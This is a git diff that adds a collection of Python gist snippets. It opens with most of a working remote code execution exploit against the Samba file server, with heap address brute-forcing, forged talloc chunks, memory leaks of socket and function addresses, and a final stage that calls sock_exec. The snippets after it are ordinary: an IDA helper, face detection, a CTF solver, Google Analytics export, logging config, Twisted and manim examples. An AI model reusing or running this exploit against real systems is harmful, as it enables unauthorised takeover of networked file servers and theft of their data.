fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap)) + set_payload(payload) + addr_step = payload_size + addr = start_addr + i = 0 + while addr > stop_addr: + if i == 16: + print(" [*]trying addr: {:x}".format(addr)) + i = 0 + + if request_check_valid_addr(addr): + return addr + if first: + # first time, the last 16 bit is still do not know + # have to do extra check + if request_check_valid_addr(addr+0x10): + return addr+0x10 + addr -= addr_step + i += 1 + return None + +def find_valid_heap_exact_addr(addr, payload_size): + global fake_chunk_find_heap + fake_size = payload_size // 2 + while fake_size >= len(fake_chunk_find_heap): + payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap)) + set_payload(payload, payload_size) + if not request_check_valid_addr(addr): + addr -= fake_size + fake_size = fake_size // 2 + + set_payload('\x00'*16 + pack("= target_payload_size: + force_dce_disconnect() + found_addr = None + for i in range(3): + found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None) + if found_addr is not None: + break + if found_addr is None: + # failed + good_addr = None + break + good_addr = found_addr + print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr)) + start_addr = good_addr + stop_addr = good_addr - payload_size + 0x20 + payload_size //= 2 + + if good_addr is not None: + # try 3 times to find exact address. if address cannot be found, assume + # minimizing payload size is not correct. start minimizing again + for i in range(3): + heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size) + if heap_addr != 0: + break + force_dce_disconnect() + + if heap_addr == 0: + print(' [-] failed to find payload adress') + # start from last good address + some offset + start_addr = (good_addr + 0x10000) & 0xffff0000 + print('[*] bruteforcing heap adress again from {:x}'.format(start_addr)) + + payload_addr = heap_addr - len(fake_chunk_find_heap) + print(" [+] found payload addr: {:x}".format(payload_addr)) + return payload_addr + + +######## +# leak info +######## + +def addr2utf_prefix(addr): + def is_badchar(v): + return (v >= 0xd8) and (v <= 0xdf) + + prefix = 0 # safe + if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff): + prefix |= 2 # cannot have prefix + if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff): + prefix |= 1 # must have prefix + return prefix + +def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False): + """ + Note: + - if next_addr and prev_addr are not zero, they must be writable address + because of below code in _talloc_free_internal() + if (tc->prev) tc->prev->next = tc->next; + if (tc->next) tc->next->prev = tc->prev; + """ + # Note: U+D800 to U+DFFF is reserved (also bad char for samba) + # check if '\x00' is needed to avoid utf16 badchar + prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr) + if prefix_len == 3: + return None # cannot avoid badchar + if prefix_len == 2: + prefix_len = 0 + + fake_chunk_leak_info = pack(" wrong answer + force_dce_disconnect() # heap is corrupted, disconnect it + + return answers + +def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True): + # leak by replace r->out.return_authenticator pointer + # Note: because leak_addr[4:8] will be replaced with r_out_addr + # only answers[0] and answers[2] are leaked + return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry) + +def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True): + # leak by replace r->out.return_authenticator pointer + # Note: leak_addr[0:4] will be replaced with r_out_addr + # only answers[1] and answers[2] are leaked + return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry) + +def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr): + # leak name field ('uint8_t') in found heap chunk + # do not retry this leak, because r_out_addr is guessed + answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False) + if answers is None: + return None + if answers[2] != TALLOC_MAGIC: + force_dce_disconnect() + return None + + return answers[0] + +def leak_info_find_offset(info): + # offset from pool to payload still does not know + print("[*] guessing 'r' offset and leaking 'uint8_t' address ...") + chunk_addr = info['chunk_addr'] + uint8t_addr = None + r_addr = None + r_out_addr = None + while uint8t_addr is None: + # 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0 + # 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0 + # 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0 + # 0xad40 is extra offset when no share on debian + # 0x10d38 is extra offset when only [printers] is shared on debian + for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38): + r_addr = chunk_addr - offset + # 0x18 is out.authenticator offset + r_out_addr = r_addr + 0x18 + print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr)) + + uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr) + if uint8t_addr is not None: + print(" [*] success") + break + print(" [-] failed") + if uint8t_addr is None: + return False + + info['uint8t_addr'] = uint8t_addr + info['r_addr'] = r_addr + info['r_out_addr'] = r_out_addr + info['pool_addr'] = r_addr - 0x13c0 + + print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr'])) + print(" [+] pool addr: {:x}".format(info['pool_addr'])) + + return True + +def leak_sock_fd(info): + # leak sock fd from + # smb_request->sconn->sock + # (offset: ->0x3c ->0x0 ) + print("[*] leaking socket fd ...") + info['smb_request_addr'] = info['pool_addr']+0x11a0 + print(" [*] smb request addr: {:x}".format(info['smb_request_addr'])) + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4) + if answers is None: + print(' [-] cannot leak sconn_addr address :(') + return None + force_dce_disconnect() # heap is corrupted, disconnect it + sconn_addr = answers[2] + info['sconn_addr'] = sconn_addr + print(' [+] sconn addr: {:x}'.format(sconn_addr)) + + # write in padding of chunk, no need to disconnect + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr) + if answers is None: + print('cannot leak sock_fd address :(') + return None + sock_fd = answers[1] + print(' [+] sock fd: {:d}'.format(sock_fd)) + info['sock_fd'] = sock_fd + return sock_fd + +def leak_talloc_pop_addr(info): + # leak destructor talloc_pop() address + # overwrite name field, no need to disconnect + print('[*] leaking talloc_pop address') + answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14) + if answers is None: + print(' [-] cannot leak talloc_pop() address :(') + return None + if answers[2] != 0x2010: # chunk size must be 0x2010 + print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(') + return None + talloc_pop_addr = answers[0] + print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr)) + info['talloc_pop_addr'] = talloc_pop_addr + return talloc_pop_addr + +def leak_smbd_server_connection_handler_addr(info): + # leak address from + # smbd_server_connection.smb1->fde ->handler + # (offset: ->0x9c->0x14 ) + # MUST NOT disconnect after getting smb1_fd_event address + print('[*] leaking smbd_server_connection_handler address') + def real_leak_conn_handler_addr(info): + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c) + if answers is None: + print(' [-] cannot leak smb1_fd_event address :(') + return None + smb1_fd_event_addr = answers[1] + print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr)) + + answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14) + if answers is None: + print(' [-] cannot leak smbd_server_connection_handler address :(') + return None + force_dce_disconnect() # heap is corrupted, disconnect it + smbd_server_connection_handler_addr = answers[0] + diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr + if diff > 0x2000000 or diff < 0: + print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) + smbd_server_connection_handler_addr = None + return smbd_server_connection_handler_addr + + smbd_server_connection_handler_addr = None + while smbd_server_connection_handler_addr is None: + smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info) + + print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) + info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr + + return smbd_server_connection_handler_addr + +def find_smbd_base_addr(info): + # estimate smbd_addr from talloc_pop + if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0: + # code has no alignment + start_addr = info['smbd_server_connection_handler_addr'] - 0x124000 + else: + start_addr = info['smbd_server_connection_handler_addr'] - 0x130000 + start_addr = start_addr & 0xfffff000 + stop_addr = start_addr - 0x20000 + + print('[*] finding smbd loaded addr ...') + while True: + smbd_addr = start_addr + while smbd_addr >= stop_addr: + if addr2utf_prefix(smbd_addr-8) == 3: + # smbd_addr is 0xb?d?e000 + test_addr = smbd_addr - 0x800 - 4 + else: + test_addr = smbd_addr - 8 + # test writable on test_addr + answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False) + if answers is not None: + break + smbd_addr -= 0x1000 # try prev page + if smbd_addr > stop_addr: + break + print(' [-] failed. try again.') + + info['smbd_addr'] = smbd_addr + print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr)) + +def dump_mem_call_addr(info, target_addr): + # leak pipes_struct address from + # smbd_server_connection->chain_fsp->fake_file_handle->private_data + # (offset: ->0x48 ->0xd4 ->0x4 ) + # Note: + # - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed + # - target_addr will be replaced with current_pdu_sent address + # check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c + print(' [*] overwrite current_pdu_sent for dumping memory ...') + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48) + if answers is None: + print(' [-] cannot leak chain_fsp address :(') + return False + chain_fsp_addr = answers[1] + print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr)) + + answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False) + if answers is None: + print(' [-] cannot leak fake_file_handle address :(') + return False + fake_file_handle_addr = answers[0] + print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr)) + + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False) + if answers is None: + print(' [-] cannot leak pipes_struct address :(') + return False + pipes_struct_addr = answers[2] + print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr)) + + current_pdu_sent_addr = pipes_struct_addr+0x84 + print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr)) + # change pipes->out_data.current_pdu_sent to dump memory + return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True) + +def dump_smbd_find_bininfo(info): + def recv_till_string(data, s): + pos = len(data) + while True: + data += force_recv() + if len(data) == pos: + print('no more data !!!') + return None + p = data.find(s, pos-len(s)) + if p != -1: + return (data, p) + pos = len(data) + return None + + def lookup_dynsym(dynsym, name_offset): + addr = 0 + i = 0 + offset_str = pack(" 0: + if mem[pos:pos+16] == '\x00'*16: + break + pos -= 16 # sym entry size is 16 bytes + if pos <= 0: + print(' [-] found wrong .dynsym section at {:x}'.format(pos)) + return None + dynsym_offset = pos + print(' [*] found .dynsym section at {:x}'.format(dynsym_offset)) + dynsym = mem[dynsym_offset:] + + # find sock_exec + dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00') + print(' [*] found sock_exec string at {:x}'.format(pos+1)) + sock_exec_offset = lookup_dynsym(dynsym, pos+1) + print(' [*] sock_exec offset {:x}'.format(sock_exec_offset)) + + #info['mem'] = mem # smbd data before .dynsym section + info['dynsym'] = dynsym + info['dynstr'] = dynstr # incomplete section + info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset + print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) + + # Note: can continuing memory dump to find ROP + + force_dce_disconnect() + +######## +# code execution +######## +def call_sock_exec(info): + prefix_len = addr2utf_prefix(info['sock_exec_addr']) + if prefix_len == 3: + return False # too bad... cannot call + if prefix_len == 2: + prefix_len = 0 + fake_talloc_chunk_exec = pack(" ' % os.path.basename(sys.argv[0])) + main(sys.argv[1], sys.argv[2], skip_ad=True) diff --git a/hard-gists/054023c4fca5369ffdb2/._snippet.py b/hard-gists/054023c4fca5369ffdb2/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/054023c4fca5369ffdb2/._snippet.py differ diff --git a/hard-gists/054023c4fca5369ffdb2/snippet.py b/hard-gists/054023c4fca5369ffdb2/snippet.py new file mode 100644 index 00000000..1ca9671e --- /dev/null +++ b/hard-gists/054023c4fca5369ffdb2/snippet.py @@ -0,0 +1,13 @@ +import os +import idaapi +import idautils +import clipboard + +def copy_windbg_bp(): + bp = 'bu @!"{}"+0x{:X}'.format( + os.path.splitext(idaapi.get_root_filename())[0], + idaapi.get_screen_ea() - idautils.peutils_t().imagebase + ) + clipboard.copy(bp) + +idaapi.add_hotkey('3', copy_windbg_bp) \ No newline at end of file diff --git a/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/._snippet.py b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/._snippet.py differ diff --git a/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/snippet.py b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/snippet.py new file mode 100644 index 00000000..71a5515a --- /dev/null +++ b/hard-gists/056626de3fbdc7cf7b59de1d9f6279d1/snippet.py @@ -0,0 +1,67 @@ +# USAGE +# python face_detection.py --image face1.jpg + +# import the necessary packages +# from imutils import face_utils +# import numpy as np +import argparse +import imutils +import dlib +import cv2 +# from matplotlib import pyplot as plt + +def rect_to_bb(rect): + # take a bounding predicted by dlib and convert it + # to the format (x, y, w, h) as we would normally do + # with OpenCV + x = rect.left() + y = rect.top() + w = rect.right() - x + h = rect.bottom() - y + + # return a tuple of (x, y, w, h) + return (x, y, w, h) + + +# construct the argument parser and parse the arguments +ap = argparse.ArgumentParser() +ap.add_argument("-i", "--image", required=True, help="path to input image") +args = vars(ap.parse_args()) + +# load the input image, resize it, and convert it to grayscale +image = cv2.imread(args["image"]) +image = imutils.resize(image, width=500) +gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + +# initialize dlib's face detector (HOG-based) and then create +# the facial landmark predictor +detector = dlib.get_frontal_face_detector() + +# detect faces in the grayscale image +rects = detector(gray, 1) +print(len(rects)) + +fname = args["image"].split('/')[-1] +name, ext = fname.split('.') + +# loop over the face detections +for (i, rect) in enumerate(rects): + # determine the facial landmarks for the face region, then + # convert the landmark (x, y)-coordinates to a NumPy array + (x, y, w, h) = rect_to_bb(rect) + print(i, x, y, w, h) + + fname = '{}_{}.{}'.format(name, i, ext) + # clone the original image so we can draw on it, then + # display the name of the face part on the image + clone = image.copy() + cv2.rectangle(clone, (x, y), (x + w, y + h), (0, 255, 0), 1) + startX = x + startY = y - 15 if y - 15 > 15 else y + 15 + cv2.putText(clone, str(i), (startX, startY), + cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2) + roi = image[y:y + h, x:x + w] + cv2.imshow("ROI", roi) + cv2.imwrite(fname, roi) + cv2.imshow("Image", clone) + cv2.waitKey(0) diff --git a/hard-gists/05aadb969e43788593d3/._snippet.py b/hard-gists/05aadb969e43788593d3/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/05aadb969e43788593d3/._snippet.py differ diff --git a/hard-gists/05aadb969e43788593d3/snippet.py b/hard-gists/05aadb969e43788593d3/snippet.py new file mode 100644 index 00000000..aea38a4b --- /dev/null +++ b/hard-gists/05aadb969e43788593d3/snippet.py @@ -0,0 +1,88 @@ +""" +The shellcode in Challege 6 compares the string in RDI +against a bunch of conditions. This script extracts the +conditions and solves the constraints, yielding the +expected string. +""" +from idaapi import * +from williutils import * + + +def ror(x, n, bits = 32): + mask = (2L**n) - 1 + mask_bits = x & mask + return (x >> (n % bits) | (mask_bits << ((bits - n) % bits))) + + +def rol(x, n, bits = 32): + return ror(x, (bits - n) % bits, bits=bits) + + +def mask(c): + return c & 0xFF + + +# these functions do the inverse of their lowercase counterpart +# so by applying them in reverse, then we can solve the simple constraint + +def ADD(c, x): + return mask(c - x) + + +def SUB(c, x): + return mask(c + x) + + +def XOR(c, x): + return mask(c ^ x) + + +def ROL(c, x): + return mask(ror(c, x, 8)) + + +def ROR(c, x): + return mask(rol(c, x, 8)) + + +def get_handler(mnem): + return { + "add": ADD, + "sub": SUB, + "xor": XOR, + "ror": ROR, + "rol": ROL}[mnem] + + + +START = 0x1C + + +def solve_one_character(ea): + c = GetOperandValue(ea, 1) + print "START", hex(c) + ea = PrevHead(ea) + + while "[rax]" in GetOpnd(ea, 0): + print(GetMnem(ea).upper(), hex(GetOperandValue(ea, 1))) + c = get_handler(GetMnem(ea))(c, GetOperandValue(ea, 1)) + ea = PrevHead(ea) + print "solved: " + chr(c) + return c + + +def main(): + ret = "" + ea = scan_forwards(START, mnem="cmp") + while ea: + ret += chr(solve_one_character(ea)) + try: + ea = scan_forwards(ea, mnem="cmp") + except RuntimeError: + print(ret) + return + + + +if __name__ == "__main__": + main() diff --git a/hard-gists/05bec6966701f720c3aa/._snippet.py b/hard-gists/05bec6966701f720c3aa/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/05bec6966701f720c3aa/._snippet.py differ diff --git a/hard-gists/05bec6966701f720c3aa/snippet.py b/hard-gists/05bec6966701f720c3aa/snippet.py new file mode 100644 index 00000000..da95ab7c --- /dev/null +++ b/hard-gists/05bec6966701f720c3aa/snippet.py @@ -0,0 +1,196 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# +# Copyright 2012 Google Inc. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Simple intro to using the Google Analytics API v3. + +This application demonstrates how to use the python client library to access +Google Analytics data. The sample traverses the Management API to obtain the +authorized user's first profile ID. Then the sample uses this ID to +contstruct a Core Reporting API query to return the top 25 organic search +terms. + +Before you begin, you must sigup for a new project in the Google APIs console: +https://code.google.com/apis/console + +Then register the project to use OAuth2.0 for installed applications. + +Finally you will need to add the client id, client secret, and redirect URL +into the client_secrets.json file that is in the same directory as this sample. + +Sample Usage: + + $ python hello_analytics_api_v3.py + +Also you can also get help on all the command-line flags the program +understands by running: + + $ python hello_analytics_api_v3.py --help +""" + +__author__ = 'api.nickm@gmail.com (Nick Mihailovski)' + + +import argparse +import sys +import csv +import string + +from apiclient.errors import HttpError +from apiclient import sample_tools +from oauth2client.client import AccessTokenRefreshError + +class SampledDataError(Exception): pass + + +def main(argv): + # Authenticate and construct service. + service, flags = sample_tools.init( + argv, 'analytics', 'v3', __doc__, __file__, + scope='https://www.googleapis.com/auth/analytics.readonly') + + # Try to make a request to the API. Print the results or handle errors. + try: + profile_id = profile_ids[profile] + if not profile_id: + print 'Could not find a valid profile for this user.' + else: + for start_date, end_date in date_ranges: + limit = ga_query(service, profile_id, 0, + start_date, end_date).get('totalResults') + for pag_index in xrange(0, limit, 10000): + results = ga_query(service, profile_id, pag_index, + start_date, end_date) + if results.get('containsSampledData'): + + raise SampledDataError + print_results(results, profile_id, pag_index, start_date, end_date) + + except TypeError, error: + # Handle errors in constructing a query. + print ('There was an error in constructing your query : %s' % error) + + except HttpError, error: + # Handle API errors. + print ('Arg, there was an API error : %s : %s' % + (error.resp.status, error._get_reason())) + + except AccessTokenRefreshError: + # Handle Auth errors. + print ('The credentials have been revoked or expired, please re-run ' + 'the application to re-authorize') + + except SampledDataError: + # force an error if ever a query returns data that is sampled! + print ('Error: Query contains sampled data!') + + +def ga_query(service, profile_id, pag_index, start_date, end_date): + + return service.data().ga().get( + ids='ga:' + profile_id, + start_date=start_date, + end_date=end_date, + metrics='ga:pageviews', + dimensions='ga:date,ga:landingPagePath,ga:sourceMedium,ga:networkLocation,ga:country,ga:region,ga:city', + sort='-ga:pageviews', + samplingLevel='HIGHER_PRECISION', + start_index=str(pag_index+1), + max_results=str(pag_index+10000)).execute() + + +def print_results(results, profile_id, pag_index, start_date, end_date): + """Prints out the results. + + This prints out the profile name, the column headers, and all the rows of + data. + + Args: + results: The response returned from the Core Reporting API. + """ + + # New write header + global write_headers, first_headers + if pag_index == 0 and (start_date, end_date) == date_ranges[0]: + print 'Profile Name: %s' % results.get('profileInfo').get('profileName') + columnHeaders = results.get('columnHeaders') + cleanHeaders = [str(h['name']) for h in columnHeaders] + cleanHeaders.insert(0, 'profile_id') + if write_headers: + writer.writerow(cleanHeaders) + write_headers = False + first_headers = cleanHeaders + else: + assert cleanHeaders == first_headers + print 'Now pulling data from %s to %s.' %(start_date, end_date) + + + + # Print data table. + if results.get('rows', []): + for row in results.get('rows'): + for i in range(len(row)): + old, new = row[i], str() + for char in old: + new += char if char in string.printable else '' + row[i] = new + row.insert(0, profile_id) + writer.writerow(row) + + else: + print 'No Rows Found' + + limit = results.get('totalResults') + print pag_index, 'of about', int(round(limit, -4)), 'rows.' + return None + + +profile_ids = profile_ids = {'My Profile 1': '1234', +## 'My Profile 2': '1234567', +## 'My Profile 3': '1234567', + 'My Profile 4': '5678'} + +# Uncomment this line & replace with 'profile name': 'id' to query a single profile +# Delete or comment out this line to loop over multiple profiles. + +##profile_ids = {'ryanpraski': '123456789'} + + +date_ranges = [('2015-08-01', + '2016-02-08')]#, + #('2015-09-01', + # '2015-09-30'), + # ('2015-10-01', + # '2015-10-31'), + # ('2015-11-01', + # '2015-11-30'), + # ('2015-12-01', + # '2015-12-22')] + +path = 'C:\\Users\\ryanpraski\\Documents\\Google Analytics Python Data\\' #replace with path to your folder where csv file with data will be written +filename = 'google_analytics_data_2.csv' #replace with your filename. +f = open(path + filename, 'wt') +writer = csv.writer(f, lineterminator='\n') +write_headers = True +first_headers = [] + +for profile in sorted(profile_ids): + if __name__ == '__main__': main(sys.argv) + print "Profile done. Next profile..." + +f.close() +print "All profiles done." + diff --git a/hard-gists/05ff99985269200cdc4854ddc04fa6e9/._snippet.py b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/._snippet.py differ diff --git a/hard-gists/05ff99985269200cdc4854ddc04fa6e9/snippet.py b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/snippet.py new file mode 100644 index 00000000..c7b6bd25 --- /dev/null +++ b/hard-gists/05ff99985269200cdc4854ddc04fa6e9/snippet.py @@ -0,0 +1,20 @@ +import os +import numpy as np +import lightgbm as lgb + +# directory with your models +dir_with_models = './tmp' + +# 100 samples of random data (with 70 columns), just for testing +X = np.random.rand(100, 70) + +pred = None +for f in os.listdir(dir_with_models): + print('Using {0}'.format(f)) + # read model + model = lgb.Booster(model_file = os.path.join(dir_with_models,f)) + # compute predictions + pred = model.predict(X) if pred is None else pred + model.predict(X) + +# get average of predictions from all models +pred = pred/float(len(os.listdir(dir_with_models))) \ No newline at end of file diff --git a/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/._snippet.py b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/._snippet.py differ diff --git a/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/snippet.py b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/snippet.py new file mode 100644 index 00000000..137618b0 --- /dev/null +++ b/hard-gists/0618f44dc5270f9a2be2826d0d933ed7/snippet.py @@ -0,0 +1,55 @@ +import logging.config +import os +from django.utils.log import DEFAULT_LOGGING + +# Disable Django's logging setup +LOGGING_CONFIG = None + +LOGLEVEL = os.environ.get('LOGLEVEL', 'info').upper() + +logging.config.dictConfig({ + 'version': 1, + 'disable_existing_loggers': False, + 'formatters': { + 'default': { + # exact format is not important, this is the minimum information + 'format': '%(asctime)s %(name)-12s %(levelname)-8s %(message)s', + }, + 'django.server': DEFAULT_LOGGING['formatters']['django.server'], + }, + 'handlers': { + # console logs to stderr + 'console': { + 'class': 'logging.StreamHandler', + 'formatter': 'default', + }, + # Add Handler for Sentry for `warning` and above + 'sentry': { + 'level': 'WARNING', + 'class': 'raven.contrib.django.raven_compat.handlers.SentryHandler', + }, + 'django.server': DEFAULT_LOGGING['handlers']['django.server'], + }, + 'loggers': { + # default for all undefined Python modules + '': { + 'level': 'WARNING', + 'handlers': ['console', 'sentry'], + }, + # Our application code + 'app': { + 'level': LOGLEVEL, + 'handlers': ['console', 'sentry'], + # Avoid double logging because of root logger + 'propagate': False, + }, + # Prevent noisy modules from logging to Sentry + 'noisy_module': { + 'level': 'ERROR', + 'handlers': ['console'], + 'propagate': False, + }, + # Default runserver request logging + 'django.server': DEFAULT_LOGGING['loggers']['django.server'], + }, +}) \ No newline at end of file diff --git a/hard-gists/06336eb10a1628850d6f/._snippet.py b/hard-gists/06336eb10a1628850d6f/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/06336eb10a1628850d6f/._snippet.py differ diff --git a/hard-gists/06336eb10a1628850d6f/snippet.py b/hard-gists/06336eb10a1628850d6f/snippet.py new file mode 100644 index 00000000..7e1e4d08 --- /dev/null +++ b/hard-gists/06336eb10a1628850d6f/snippet.py @@ -0,0 +1,43 @@ +from random import randrange + +from twisted.internet.defer import DeferredQueue +from twisted.internet.task import deferLater, cooperate +from twisted.internet import reactor + + +def async(n): + print 'Starting job', n + d = deferLater(reactor, n, lambda: None) + def cbFinished(ignored): + print 'Finishing job', n + d.addCallback(cbFinished) + return d + + +def assign(jobs): + # Create new jobs to be processed + jobs.put(randrange(10)) + reactor.callLater(randrange(10), assign, jobs) + + +def worker(jobs): + while True: + yield jobs.get().addCallback(async) + + +def main(): + jobs = DeferredQueue() + + for i in range(10): + jobs.put(i) + + assign(jobs) + + for i in range(3): + cooperate(worker(jobs)) + + reactor.run() + + +if __name__ == '__main__': + main() diff --git a/hard-gists/06649145d7e6c4c147c02459fd2bc5af/._snippet.py b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/._snippet.py differ diff --git a/hard-gists/06649145d7e6c4c147c02459fd2bc5af/snippet.py b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/snippet.py new file mode 100644 index 00000000..42ec1374 --- /dev/null +++ b/hard-gists/06649145d7e6c4c147c02459fd2bc5af/snippet.py @@ -0,0 +1,368 @@ +#!/usr/bin/env python + +# +# Usage: python extract_scene.py -p [filename] [classname] +# eg: python extract_scene.py -p examples.py DrawCircle +# + +import math +import numpy as np + +import helpers +from scene import Scene +from animation.transform import * +from animation.simple_animations import * +from topics.geometry import * +from topics import functions + +from mobject.tex_mobject import TexMobject + + + + +# Draw basic shapes + +class DrawCircle(Scene): + def construct(self): + circle = Circle(color=WHITE,radius=1) + self.play(ShowCreation(circle)) + + +class DrawLine(Scene): + def construct(self): + START = (0,0,0) + END = (4,0,0) + line = Line(START,END); + self.play(ShowCreation(line)) + + +class DrawRectangle(Scene): + def construct(self): + rect = Rectangle(height=3,width=4) + self.play(ShowCreation(rect)) + + +class DrawPolygon(Scene): + def construct(self): + Hexagon = [(0,0,0), #P1 + (1,1,0), #P2 + (2,1,0), #P3 + (3,0,0), #P4 + (2,-1,0), #P5 + (1,-1,0) #P6 + ] + + poly = Polygon(*Hexagon) + self.play(ShowCreation(poly)) + + +class DrawVector(Scene): + def construct(self): + vector = Vector(direction=UP) + self.play(ShowCreation(vector)) + + +class DrawArc(Scene): + def construct(self): + angle = math.radians(180) + arc = Arc(radius=2,angle=angle) + self.play(ShowCreation(arc)) + + + +# Move shapes +class MoveCircle(Scene): + def construct(self): + circle = Circle(radius=1,color=RED) + end_point = (3,0,0) + animation = ApplyMethod(circle.shift, end_point) + self.play(animation) + +class MoveVector(Scene): + def construct(self): + vector = Vector(direction=RIGHT) + end_point = (4,0,0) + animation = ApplyMethod(vector.shift,end_point) + self.play(animation) + + +# Animate shapes + +class RotateRect(Scene): + def construct(self): + rect = Rectangle(height=1,width=2) + angle = math.radians(90) + animation = Rotate(rect, angle=angle) + self.play(animation) + + +class ScaleCircle(Scene): + def construct(self): + circle = Circle(radius=2, fill_color=YELLOW, fill_opacity=1) + self.play(GrowFromCenter(circle)) + + +class RotatePolygon(Scene): + def construct(self): + Hexagon = [(0,0,0), #P1 + (1,1,0), #P2 + (2,1,0), #P3 + (3,0,0), #P4 + (2,-1,0), #P5 + (1,-1,0) #P6 + ] + + poly = Polygon(*Hexagon) + animation = Rotate(poly, angle=math.radians(180), in_place=True) + self.play(animation) + + +class RotateSquareForever(Scene): + def construct(self): + square = Square() + rotate = Rotating(square) + self.play(rotate) + + +# Transform one shape to another + +class LineToCircle(Scene): + def construct(self): + line = Line((0,0,0), (4,0,0)) + arc = Circle(color = WHITE, radius=1) + self.play(ShowCreation(arc)) + self.play(Transform(arc, line)) + self.dither() + +class DotToLine(Scene): + def construct(self): + dot = Dot() + line = Line((0,0,0), (3,0,0)) + self.play(ShowCreation(dot)) + self.play(Transform(dot, line)) + self.dither() + +class DotToCircle(Scene): + def construct(self): + circle = Circle() + dot = Dot() + self.play(ShowCreation(dot)) + self.play(Transform(dot, circle)) + self.dither() + + +class LineToSquare(Scene): + def construct(self): + line = Line((0,0,0),(3,0,0)) + square = Rectangle(width=3, height=3) + # OR: square = Square() + self.play(ShowCreation(line)) + self.play(Transform(line, square)) + self.dither() + + + + +# Functions and Equations + 